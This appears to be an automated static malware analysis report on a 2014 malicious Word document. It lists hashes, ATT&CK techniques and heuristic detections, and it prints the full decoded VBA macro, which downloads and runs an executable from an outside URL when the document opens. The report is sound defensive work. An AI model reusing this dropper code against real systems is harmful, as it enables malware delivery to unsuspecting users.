Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 404c5bb0dba97d1d…

MALICIOUS

Office (OLE)

30.0 KB Created: 2014-07-04 15:20:00 Authoring application: Microsoft Office Word First seen: 2014-08-17
MD5: eb1276b48a2a5586b43358297e9306eb SHA-1: 5d1efff2b2d132aacc65601947e1292c00c927a1 SHA-256: 404c5bb0dba97d1d57cbbfcb081715f000c32893c93807e671e4b31e6c21fdd5
294 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

The sample is a malicious Office document containing VBA macros. The AutoOpen macro executes a function that downloads a file from 'http://privatelayer.eu/uchejoe/mozillaupdater.exe' and saves it as 'SKBSEK.exe' in the user's home directory, then executes it. This indicates a downloader or dropper functionality.

Heuristics 12

  • ClamAV: Doc.Macro.GenericHeuristic-5931846-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.GenericHeuristic-5931846-4
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        QEXECZ = Shell(vLocalFile, 1)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set oXMLHTTP = CreateObject("MSXML2.XMLHTTP")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
        Auto_Open
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        Download_File "http://privatelayer.eu/uchejoe/mozillaupdater.exe", Environ("HOMEPATH") & "\SKBSEK.exe"
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://privatelayer.eu/uchejoe/mozillaupdater.exe In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1225 bytes
SHA-256: ceb59d2536bb06e3ac4f548a2c2717a5166585f65e73af40ea0bc495cf3ff142
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
#If Win64 Then
#Else
#End If
Sub Workbook_Open()
    Auto_Open
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Function Download_File(ByVal vWebFile As String, ByVal vLocalFile As String) As Boolean
    Dim oXMLHTTP As Object, i As Long, vFF As Long, oResp() As Byte

    Set oXMLHTTP = CreateObject("MSXML2.XMLHTTP")
    oXMLHTTP.Open "GET", vWebFile, False
    oXMLHTTP.Send

    Do While oXMLHTTP.readyState <> 4
    DoEvents
    Loop

    oResp = oXMLHTTP.responseBody


    vFF = FreeFile
    If Dir(vLocalFile) <> "" Then Kill vLocalFile
    Open vLocalFile For Binary As #vFF
    Put #vFF, , oResp
    Close #vFF

    Set oXMLHTTP = Nothing
    
    Dim QEXECZ
    QEXECZ = Shell(vLocalFile, 1)
End Function
Public Sub WPAMHO()
    Download_File "http://privatelayer.eu/uchejoe/mozillaupdater.exe", Environ("HOMEPATH") & "\SKBSEK.exe"
End Sub
Sub Auto_Open()
WPAMHO
End Sub

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